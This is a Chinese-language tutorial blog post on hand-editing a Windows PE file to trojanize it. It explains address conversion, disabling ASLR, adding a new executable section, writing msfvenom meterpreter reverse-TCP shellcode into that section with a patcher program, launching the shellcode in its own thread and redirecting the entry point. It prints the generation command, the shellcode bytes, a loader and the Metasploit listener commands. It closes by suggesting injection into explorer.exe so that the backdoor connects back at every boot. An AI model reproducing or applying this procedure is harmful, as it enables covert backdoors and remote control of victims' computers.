手工给程序插入 ShellCode

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次实验的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话。

VA地址与FOA地址互转

首先我们先来演示一下内存VA地址与FOA地址互相转换的方式,通过使用WinHEX打开一个二进制文件,打开后我们只需要关注如下蓝色注释为映像建议装入基址,黄色注释为映像装入后的RVA偏移。

通过上方的截图结合PE文件结构图我们可得知0000158B为映像装入内存后的RVA偏移,紧随其后的00400000则是映像的建议装入基址,为什么是建议而不是绝对?别急后面慢来来解释。

通过上方的已知条件我们就可以计算出程序实际装入内存后的入口地址了,公式如下:
VA(实际装入地址) = ImageBase(基址) + RVA(偏移) => 00400000 + 0000158B = 0040158B

找到了程序的OEP以后,接着我们来判断一下这个0040158B属于那个节区,以.text节区为例,下图我们通过观察区段可知,第一处橙色位置00000B44 (节区尺寸),第二处紫色位置00001000 (节区RVA),第三处00000C00 (文件对齐尺寸),第四处00000400 (文件中的偏移),第五处60000020 (节区属性)

得到了上方text节的相关数据,我们就可以判断程序的OEP到底落在了那个节区中,这里以.text节为例子,计算公式如下:

虚拟地址开始位置:节区基地址 + 节区RVA => 00400000 + 00001000 = 00401000
虚拟地址结束位置:text节地址 + 节区尺寸 => 00401000 + 00000B44 = 00401B44

经过计算得知 .text 节所在区间(401000 - 401B44) 你的装入VA地址0040158B只要在区间里面就证明在本节区中,此处的VA地址是在401000 - 401B44区间内的,则说明它属于.text节。

经过上面的公式计算我们知道了程序的OEP位置是落在了.text节,此时你兴致勃勃的打开x64DBG想去验证一下公式是否计算正确不料,尼玛!这地址根本不是400000开头啊,这是什么鬼?

上图中出现的这种情况就是关于随机基址的问题,在新版的VS编译器上存在一个选项是否要启用随机基址(默认启用),至于这个随机基址的作用,猜测可能是为了防止缓冲区溢出之类的烂七八糟的东西。

为了方便我们调试,我们需要手动干掉它,其对应到PE文件中的结构为 IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER -> DllCharacteristics 相对于PE头的偏移为90字节,只需要修改这个标志即可,修改方式 x64:6081 改 2081 相对于 x86:4081 改 0081 以X86程序为例,修改后如下图所示。

经过上面对标志位的修改,程序再次载入就能够停在0040158B的位置,也就是程序的OEP,接下来我们将通过公式计算出该OEP对应到文件中的位置。

.text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
VA(虚拟地址) = ImageBase + RVA(偏移) => 00400000 + 0000158B = 0040158B
RVA(相对偏移) = VA - (.text节首地址) => 0040158B - 00401000 = 58B
FOA(文件偏移) = RVA + .text节对应到文件中的偏移 => 58B + 400 = 98B

经过公式的计算,我们找到了虚拟地址0040158B对应到文件中的位置是98B,通过WinHEX定位过去,即可看到OEP处的机器码指令了。

接着我们来计算一下.text节区的结束地址,通过文件的偏移加上文件对齐尺寸即可得到.text节的结束地址400+C00= 1000,那么我们主要就在文件偏移为(98B - 1000)在该区间中找空白的地方,此处我找到了在文件偏移为1000之前的位置有一段空白区域,如下图:

接着我么通过公式计算一下文件偏移为0xF43的位置,其对应到VA虚拟地址是多少,公式如下:

.text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
VPK(实际大小) = (text节首地址 - ImageBase) - 实际偏移 => 401000-400000-400 = C00
VA(虚拟地址) = FOA(.text节) + ImageBase + VPK => F43+400000+C00 = 401B43

计算后直接X64DBG跳转过去,我们从00401B44的位置向下全部填充为90(nop),然后直接保存文件。

再次使用WinHEX查看文件偏移为0xF43的位置,会发现已经全部替换成了90指令,说明计算正确。

到此文件偏移与虚拟偏移的转换就结束了,其实在我们使用X64DBG修改可执行文件指令的时候,X64DBG默认为我们做了上面的这些转换工作,其实这也能够解释为什么不脱壳的软件无法直接修改,因为X64DBG根本无法计算出文件偏移与虚拟偏移之间的对应关系,所以就无法保存文件了(热补丁除外)。


新建节区并插入 ShellCode

经过了上面的学习相信你已经能够独立完成FOA与VA之间的互转了,接下来我们将实现在程序中插入新节区,并向新节区内插入一段能够反向连接的ShellCode代码,并保证插入后门的程序依旧能够正常运行不被干扰,为了能够更好的复习PE相关知识,此处的偏移全部手动计算不借助任何工具,请确保你已经掌握了FOA与VA之间的转换关系然后再继续学习。

首先我们的目标是新建一个新节区,我们需要根据.text节的内容进行仿写,先来看区段的书写规则:

上图中:一般情况下区段的总长度不可大于40个字节,其中2E标志着PE区段的开始位置,后面紧随其后的7个字节的区域为区段的名称,由于只有7个字节的存储空间故最多只能使用6个字符来命名,而第一处蓝色部分则为该节在内存中展开的虚拟大小,第二处蓝色部分为在文件中的实际大小,第一处绿色部分为该节在内存中的虚拟偏移,第二处绿色部分为文件偏移,而最后的黄色部分就是该节的节区属性。

既然知道了节区中每个成员之间的关系,那么我们就可以开始仿写了,仿写需要在程序中最后一个节的后面继续写,而该程序中的最后一个节是.reloc节,在reloc节的后面会有一大片空白区域,如下图:

如下图:我们仿写一个.hack节区,该节区虚拟大小为1000字节(蓝色一),对应的实际大小也是1000字节(蓝色二),节区属性为200000E0可读可写可执行,绿色部分是需要我们计算才能得到的,继续向下看。

接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,公式如下:

.hack 虚拟偏移:虚拟偏移(.reloc) + 虚拟大小(.hack) => 00006000 + 00001000 = 00007000
.hack 实际偏移:实际偏移(.reloc) + 实际大小(.reloc) => 00003800 + 00000200 = 00003A00

经过公式推导我们可得知 .hack节,虚拟偏移应设置为00007000 实际偏移设置为00003A00节区长度为1000字节,将其填充到绿色位置即可,如下图:

最后在文件末尾,插入1000个0字节填充,以作为我们填充ShellCode的具体位置,1000个0字节的话WinHEX需要填充4096

到此其实还没结束,我们还落下了一个关键的地方,那就是在PE文件的开头,有一个控制节区数目的变量,此处因为我们增加了一个所以需要将其从5个改为6个,由于我们新增了0x1000的节区空间,那么相应的镜像大小也要加0x1000 如图黄色部分原始大小为00007000此处改为00008000即可。

打开X64DBG载入修改好的程序,会发现我们的.hack节成功被系统识别了,到此节的插入已经实现了。

接下来的工作就是向我们插入的节中植入一段可以实现反弹Shell会话的代码片段,你可以自己编写也可使用工具,此处为了简单起见我就使用黑客利器Metasploit生成反向ShellCode代码,执行命令:

[root@localhost ~]# msfvenom -a x86 --platform Windows 
-p windows/meterpreter/reverse_tcp 
-b 'x00x0b' LHOST=192.168.1.30 LPORT=9999 -f c

关于命令介绍:-a指定平台架构,--platform指定攻击系统,-p指定一个反向连接shell会话,-b的话是去除坏字节,并指定攻击主机的IP与端口信息,执行命令后会生成一段有效攻击载荷。

为了保证生成的ShellCode可用性,你可以通过将生成的ShellCode加入到测试程序中测试调用效果,此处我就不测试了,直接贴出测试代码吧,你只需要将buf[]数组填充为上方的Shell代码即可。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();
int main()
{
	//((void(*)(void))&buf)();
	PVOID pFunction = NULL;
	pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(pFunction, buf, sizeof(buf));
	CODE StartShell = (CODE)pFunction;
	StartShell();
}

此时我们需要将上方生成的ShellCode注入到我们新加入的区段中,区段实际偏移是0x3A00,此处的二进制代码较多不可能手动一个个填写,机智的我写了一个小程序,即可完成自动填充,附上代码吧。

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"xdbxdaxd9x74x24xf4x5dx29xc9xb1x56xbaxd5xe5x72"
"xb7x31x55x18x83xedxfcx03x55xc1x07x87x4bx01x45"
"x68xb4xd1x2axe0x51xe0x6ax96x12x52x5bxdcx77x5e"
"x10xb0x63xd5x54x1dx83x5exd2x7bxaax5fx4fxbfxad"
"xe3x92xecx0dxdax5cxe1x4cx1bx80x08x1cxf4xcexbf"
"xb1x71x9ax03x39xc9x0ax04xdex99x2dx25x71x92x77"
"xe5x73x77x0cxacx6bx94x29x66x07x6exc5x79xc1xbf"
"x26xd5x2cx70xd5x27x68xb6x06x52x80xc5xbbx65x57"
"xb4x67xe3x4cx1exe3x53xa9x9fx20x05x3ax93x8dx41"
"x64xb7x10x85x1exc3x99x28xf1x42xd9x0exd5x0fxb9"
"x2fx4cxf5x6cx4fx8ex56xd0xf5xc4x7ax05x84x86x12"
"xeaxa5x38xe2x64xbdx4bxd0x2bx15xc4x58xa3xb3x13"
"xe9xa3x43xcbx51xa3xbdxecxa1xedx79xb8xf1x85xa8"
"xc1x9ax55x54x14x36x5cxc2x57x6ex61x0cx30x6cx62"
"x17xcfxf9x84x07x9fxa9x18xe8x4fx09xc9x80x85x86"
"x36xb0xa5x4dx5fx5bx4ax3bx37xf4xf3x66xc3x65xfb"
"xbdxa9xa6x77x37x4dx68x70x32x5dx9dxe7xbcx9dx5e"
"x82xbcxf7x5ax04xebx6fx61x71xdbx2fx9ax54x58x37"
"x64x29x68x43x53xbfxd4x3bx9cx2fxd4xbbxcax25xd4"
"xd3xaax1dx87xc6xb4x8bxb4x5ax21x34xecx0fxe2x5c"
"x12x69xc4xc2xedx5cx56x04x11x22x71xadx79xdcxc1"
"x4dx79xb6xc1x1dx11x4dxedx92xd1xaex24xfbx79x24"
"xa9x49x18x39xe0x0cx84x3ax07x95x37x40x68x2axb8"
"xb5x60x4fxb9xb5x8cx71x86x63xb5x07xc9xb7x82x18"
"x7cx95xa3xb2x7ex89xb4x96";

int main()
{
	HANDLE hFile = NULL;
	DWORD dwNum = 0;
	LONG FileOffset;
	FileOffset = 0x3A00;             // 文件中的偏移

	hFile = CreateFile(L"C:\setup.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
	WriteFile(hFile, buf, sizeof(buf), &dwNum, NULL);
	CloseHandle(hFile);
	return 0;
}

通过VS编译器编译代码并运行,窗口一闪而过就已经完成填充了,直接打开WinHEX工具定位到0x3A00发现已经全部填充好了,可见机器的效率远高于人,哈哈!


填充完代码以后,接着就是执行这段代码了,我们的最终目标是程序正常运行并且成功反弹Shell会话,但问题是这段代码是交互式的如果直接植入到程序中那么程序将会假死,也就暴漏了我们的行踪,这里我们就只能另辟蹊径了,经过我的思考我决定让这段代码成为进程中的一个子线程,这样就不会相互干扰了。

于是乎我打开了微软的网站,查询了一下相关API函数,最终找到了一个CreateThread()函数可以在进程中创建线程,此处贴出微软对该函数的定义以及对函数参数的解释。

HANDLE WINAPI  CreateThread(
    _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
    _In_ SIZE_T dwStackSize,
    _In_ LPTHREAD_START_ROUTINE lpStartAddress,
    _In_opt_ __drv_aliasesMem LPVOID lpParameter,
    _In_ DWORD dwCreationFlags,
    _Out_opt_ LPDWORD lpThreadId
    );

lpThreadAttributes => 线程内核对象的安全属性,默认为NULL
dwStackSize => 线程栈空间大小,传入0表示使用默认大小1MB
lpStartAddress => 新线程所执行的线程函数地址,指向ShellCode首地址
lpParameter => 此处是传递给线程函数的参数,我们这里直接填NULL
dwCreationFlags => 为0表示线程创建之后立即就可以进行调度
lpThreadId => 返回线程的ID号,传入NULL表示不需要返回该线程ID号

由于我们需要写入机器码,所以必须将CreateThread函数的调用方式转换成汇编格式,我们打开X64DBG找到我们的区段位置,可以看到填充好的ShellCode代码,其开头位置为00407000,如下所示:

接着向下找,找到一处空旷的区域,然后填入CreateThread()创建线程函数的汇编格式,填写时需要注意调用约定和ShellCode的起始地址。

接着我们需要使用一条Jmp指令让其跳转到原始位置执行原始代码,这里的原始OEP位置是0040158B我们直接JMP跳转过去就好,修改完成后直接保存文件。

最后一步修改程序默认执行位置,我们将原始位置的0040158B改为00407178这里通过WinHEX修改的话直接改成7178就好,如下截图:

最后通过MSF控制台创建一个侦听端口,执行如下命令即可,此处的IP地址与生成的ShellCode地址应该相同。

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.30
msf5 exploit(multi/handler) > set lport 9999
msf5 exploit(multi/handler) > exploit

然后运行我们植入后门的程序,会发现成功上线了,而且程序也没有出现异常情况。

总结:该笔记看似很复杂,是因为我需要复习PE结构相关知识,从而将每一个步骤都展开了,在真正的实战环境中,可以使用自动化工具来完成这一系列过程,工具的集成化较高,几秒钟就可完成代码注入。

思考:最后留给大家一个思索的空间,我们的系统桌面进程为explorer.exe如果将恶意代码注入到其中的话,系统只要开机就会自动上线,是不是更实用了呢?

原创作品,转载请加出处,您添加出处是我创作的动力!

原文地址:https://www.cnblogs.com/LyShark/p/11790308.html